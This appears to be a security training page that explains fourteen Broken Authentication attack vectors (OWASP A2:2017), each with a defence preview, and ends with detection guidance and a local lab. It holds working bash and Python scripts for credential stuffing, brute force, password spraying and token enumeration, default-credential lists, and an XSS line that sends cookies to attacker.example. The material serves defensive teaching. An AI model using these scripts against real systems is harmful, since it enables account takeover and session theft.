A2:2017 - Broken Authentication - Attack Vectors
Table of Contents
- The Core Attack Flow
- 1. Credential Stuffing
- 2. Vertical Brute Force
- 3. Password Spraying
- 4. Username Enumeration
- 5. Default & Weak Credentials
- 6. Session Fixation
- 7. Session ID Exposure in URLs
- 8. Session Hijacking (Sniffing & XSS)
- 9. Predictable Session IDs
- 10. Missing Session Invalidation
- 11. Weak Password Recovery
- 12. MFA Bypass
- 13. "Remember Me" Token Abuse
- 14. Timing Attacks on Verification
- Detection & Monitoring
- Next Steps
Ethics & scope: These techniques are shown so defenders can recognize and stop them. Use them only against systems you own or are explicitly authorized to test—such as the bundled lab. The example code is deliberately minimal and educational.
The Core Attack Flow
Almost every Broken Authentication attack follows the same three-stage shape: obtain or guess a valid identity, get the application to accept it, then ride the resulting session for as long as possible.
[1] ACQUIRE [2] AUTHENTICATE AS VICTIM [3] PERSIST
breached cred lists replay / guess password steal session ID
OSINT usernames -> bypass or fatigue MFA -> abuse non-expiring
leaked session tokens fixate a known session ID or "remember me"
default credentials exploit weak reset flow survive logout
The rest of this page walks the concrete patterns within each stage. Each includes a short, illustrative snippet and the specific weakness that makes it work.
1. Credential Stuffing
The attacker takes username/password pairs leaked from other sites and replays them against the target, betting on password reuse. No password is "guessed"—these are real passwords for those users elsewhere.
#!/usr/bin/env bash
# Replay leaked email:password pairs against a login endpoint.
# Weakness exploited: no rate limiting, no bot defense, no MFA.
while IFS=':' read -r user pass; do
code=$(curl -s -o /dev/null -w '%{http_code}' \
-X POST https://target.example/login \
-d "username=${user}&password=${pass}")
# A 302 redirect to the dashboard signals success on many apps.
[ "$code" = "302" ] && echo "HIT: ${user}:${pass}"
done < combo_list.txt
Why it works: The login endpoint accepts unlimited attempts from one source and treats a correct password as sufficient. Impact: Mass account takeover with a low but reliable success rate across large lists.
2. Vertical Brute Force
Targeting one account, the attacker tries many passwords—dictionary words, keyboard patterns, and mutations—until one works.
import requests
target = "https://target.example/login"
username = "admin"
with open("rockyou.txt", encoding="latin-1") as wordlist:
for line in wordlist:
password = line.rstrip("\n")
r = requests.post(target, data={"username": username,
"password": password},
allow_redirects=False)
if r.status_code == 302: # success redirect
print(f"[+] Found: {username}:{password}")
break
Why it works: No account lockout, no exponential backoff, and no CAPTCHA after repeated failures. Defense preview: throttle per-account and per-IP, add backoff, and require a second factor.
3. Password Spraying
The mirror image of brute force: try one or two very common passwords against many accounts. This deliberately stays under per-account lockout thresholds, which is why lockout alone does not stop it.
import requests, time
password_of_the_day = "Spring2026!" # seasonal + policy-compliant
usernames = open("employees.txt").read().split() # from OSINT / LinkedIn
for user in usernames:
r = requests.post("https://target.example/login",
data={"username": user, "password": password_of_the_day},
allow_redirects=False)
if r.status_code == 302:
print(f"[+] {user} uses the sprayed password")
time.sleep(30) # low and slow: stay under rate limits and alerts
Why it works: Weak-password policies guarantee that some user picked the sprayed value, and per-account lockout never triggers because each account sees only one attempt.
4. Username Enumeration
Before guessing passwords, attackers first learn which usernames exist. Applications leak this through different responses, different error messages, or different response times.
POST /login -> "No account with that email" (user does NOT exist)
POST /login -> "Incorrect password" (user EXISTS)
POST /register -> "That email is already registered" (user EXISTS)
POST /forgot-password -> "If the account exists, we sent…" (GOOD: no leak)
POST /forgot-password -> "That email is not in our system" (BAD: leaks)
Why it works: The application distinguishes "unknown user" from "wrong password." Defense preview: return a single generic message (Invalid username or password) and normalize response timing so valid and invalid users look identical.
5. Default & Weak Credentials
Shipped-with-the-product accounts and human-favorite passwords are tried first because they cost nothing and frequently work.
admin / admin root / root admin / password
guest / guest test / test admin / changeme
support / support user / user admin / admin123
Why it works: Default accounts were never removed, or the password policy permits values that appear on every top-100 list. Defense preview: force a password change on first use, remove sample accounts before production, and screen against breached-password lists.
6. Session Fixation
Instead of stealing a session after login, the attacker plants a session ID they already know, then waits for the victim to authenticate into it.
Step 1 Attacker visits the site, is issued SESSIONID=known123
Step 2 Attacker lures victim to a link that sets that same ID, e.g.
https://bank.example/?SESSIONID=known123
(or sets it via an XSS / a permissive cookie-setting endpoint)
Step 3 Victim logs in. VULNERABLE APP KEEPS SESSIONID=known123.
Step 4 Attacker reuses SESSIONID=known123 — now fully authenticated as the victim.
Why it works: The application does not issue a new session identifier at login, so the pre-authentication ID becomes an authenticated one. Defense preview: always regenerate the session ID on privilege change (login), and never accept session IDs from the URL.
7. Session ID Exposure in URLs
When the session token travels in the query string, it leaks into many places that persist or forward it.
https://app.example/dashboard?sessionid=Ab3x...9Z
Leaks into:
- Browser history and bookmarks
- Web-server and proxy ACCESS LOGS
- The Referer header sent to third-party assets / links
- Analytics and error-tracking pipelines
Anyone reading those can REPLAY the token and become the user.
Why it works: A session ID is a bearer credential; its location determines who can see it. Defense preview: keep session IDs in cookies (Secure; HttpOnly; SameSite), never in URLs; corresponds to CWE-598.
8. Session Hijacking (Sniffing & XSS)
If a session cookie is transmitted over plain HTTP or is readable by JavaScript, an attacker can capture and replay it.
// If the session cookie lacks HttpOnly, injected script can read it:
new Image().src =
"https://attacker.example/collect?c=" + encodeURIComponent(document.cookie);
// If the site allows HTTP (no Secure flag / no HSTS), a network attacker
// on the same Wi-Fi simply reads the cookie off the wire and replays it:
// Cookie: sessionid=Ab3x...9Z -> attacker sends the same header
Why it works: Missing HttpOnly exposes the cookie to XSS; missing Secure/HSTS exposes it to network sniffing. Defense preview: set all three cookie flags, enforce HTTPS with HSTS, and fix the underlying XSS.
9. Predictable Session IDs
If session identifiers are generated from a weak source (a counter, a timestamp, or a small-range PRNG), an attacker can guess valid ones for other users.
# VULNERABLE server-side generation (do NOT do this):
import random
session_id = random.randint(100000, 999999) # only 900k values, predictable PRNG
# Attacker enumerates the space and probes each as a live session:
import requests
for guess in range(100000, 1000000):
r = requests.get("https://target.example/account",
cookies={"sessionid": str(guess)})
if "Welcome back" in r.text:
print(f"[+] Hijacked live session: {guess}")
Why it works: Insufficient entropy (CWE-330/331) makes the token space small or guessable. Defense preview: use the framework's CSPRNG-backed session IDs (128+ bits of entropy); never hand-roll them.
10. Missing Session Invalidation
Sessions that never expire, or that survive logout and password changes, give an attacker durable access long after the victim thinks they are safe.
Scenario A — logout does not invalidate server-side:
Victim clicks "Log out" (cookie deleted in the browser only).
Attacker still holds a COPY of the session ID -> still logged in.
Scenario B — password change does not revoke sessions:
Victim suspects compromise and changes password.
Attacker's EXISTING session is untouched -> access persists.
Scenario C — no idle / absolute timeout:
Session captured months ago from a log is STILL valid today.
Why it works: The server treats the token as valid regardless of lifecycle events (CWE-613). Defense preview: destroy sessions server-side on logout, revoke all sessions on password change, and enforce idle + absolute timeouts.
11. Weak Password Recovery
The reset flow is often the weakest authentication path because it deliberately bypasses the password. Attackers target it directly.
Common reset-flow weaknesses:
- Guessable token: ?token=1042 (sequential) or a short random value
- Non-expiring token: a reset link from last year still works
- Reusable token: the same link resets the password repeatedly
- Token leaked in Referer when the reset page loads third-party assets
- "Security questions": mother's maiden name / first pet — often OSINT-able
- Host-header poisoning: attacker sets the reset link's domain to their own
# Example: enumerating a sequential reset token
for tid in range(1000, 2000):
r = requests.get(f"https://target.example/reset?token={tid}")
if "Choose a new password" in r.text:
print(f"[+] Valid reset token: {tid}")
Why it works: Weak recovery mechanisms (CWE-640) hand out account access without the password. Defense preview: long random single-use tokens with short expiry, delivered out-of-band, and no knowledge-based questions.
12. MFA Bypass
Multi-factor authentication is only as strong as its weakest path. Attackers look for the path that skips or defeats the second factor.
Bypass techniques seen in the wild:
- MFA fatigue: spam push approvals until a tired user taps "Approve"
- SMS interception: SIM-swap or SS7 to receive the victim's one-time code
- Fallback flow: "Can't access your device?" -> emails a login link (no MFA)
- Skippable step: the /verify-otp page can be bypassed by navigating
straight to /dashboard because the session was already
marked authenticated BEFORE the OTP check
- No rate limit: brute force the 6-digit code (10^6 space) when unthrottled
Why it works: The session is elevated before the factor is verified, or a recovery path is weaker than the primary. Defense preview: verify the factor before granting an authenticated session, throttle OTP attempts, prefer phishing-resistant WebAuthn/FIDO2, and use number-matching push.
13. "Remember Me" Token Abuse
Persistent-login tokens are long-lived credentials. If they are predictable, not rotated, or not revoked, they become a durable backdoor.
Weak "remember me" designs:
- Token = base64(username) -> forge one for any user
- Token = md5(username + secret) -> crack / reuse if secret leaks
- Never rotated, never expires -> one theft = permanent access
- Not revoked on password change -> survives the victim's remediation
Secure design (preview): a long random token stored HASHED server-side,
single-device, rotated on each use, and revoked on logout / password change.
Why it works: The persistent token is treated as trusted without the safeguards applied to passwords. It effectively extends every session weakness to weeks or months.
14. Timing Attacks on Verification
When credential comparison short-circuits, the time a response takes can leak whether part of a secret was correct—whether a user exists, or how many characters of a token matched.
# VULNERABLE: username lookup only hashes when the user EXISTS,
# so "user exists" responses are measurably slower.
def login(username, password):
user = db.find(username)
if not user:
return False # fast path -> reveals non-existence
return bcrypt.checkpw(password, user.hash) # slow path -> reveals existence
# VULNERABLE: == on a token/HMAC returns early at the first differing byte.
if provided_token == expected_token: # non-constant-time comparison
grant_access()
Why it works: Data-dependent execution time leaks information. Defense preview: always perform a dummy hash for unknown users so timing is uniform, and compare secrets with a constant-time function (hmac.compare_digest, hash_equals).
Detection & Monitoring
Because these attacks use valid-looking traffic, detection depends on patterns rather than single events. Watch for:
- Spikes in failed logins across many accounts from few sources (stuffing) or few passwords across many accounts (spraying).
- High-velocity attempts from a single IP, ASN, or automated user-agent, and impossible-travel logins (two continents, minutes apart).
- Login success after many failures—a classic brute-force signature.
- Surges in password-reset requests or OTP verifications, and repeated OTP failures (code brute force).
- Sessions reused from many IPs, or a session ID appearing in server logs (indicating URL exposure).
- New-device / new-geo logins without a corresponding MFA challenge.
| Attack | Primary signal | First-line defense |
|---|---|---|
| Credential stuffing | Many accounts, few sources, valid-format creds | Bot defense, rate limit, MFA, breached-password screening |
| Brute force | Many passwords, one account | Per-account throttle + backoff, CAPTCHA, MFA |
| Password spraying | One password, many accounts, low velocity | Per-IP + global throttle, breached-password screening |
| Session fixation | Same session ID before and after login | Regenerate session ID on login |
| Session hijacking | Session used from multiple IPs / geos | Secure/HttpOnly cookies, HSTS, bind + rotate |
| MFA bypass | Repeated push/OTP, auth without MFA step | Verify factor pre-session, WebAuthn, throttle OTP |
Next Steps
- Prevention: The layered defenses that neutralize each vector above.
- Examples: Vulnerable-vs-secure code in PHP, Python, Node.js, and Java.
- Overview: The concepts and lineage behind this category.
- Launch the Lab: Practice these techniques safely against the intentionally vulnerable app (port 5020).
Try it hands-on: Start the lab at./lab/broken-authentication/(docker-compose up --build) and attempt credential stuffing, session fixation, and reset-flow abuse against a target you are allowed to attack.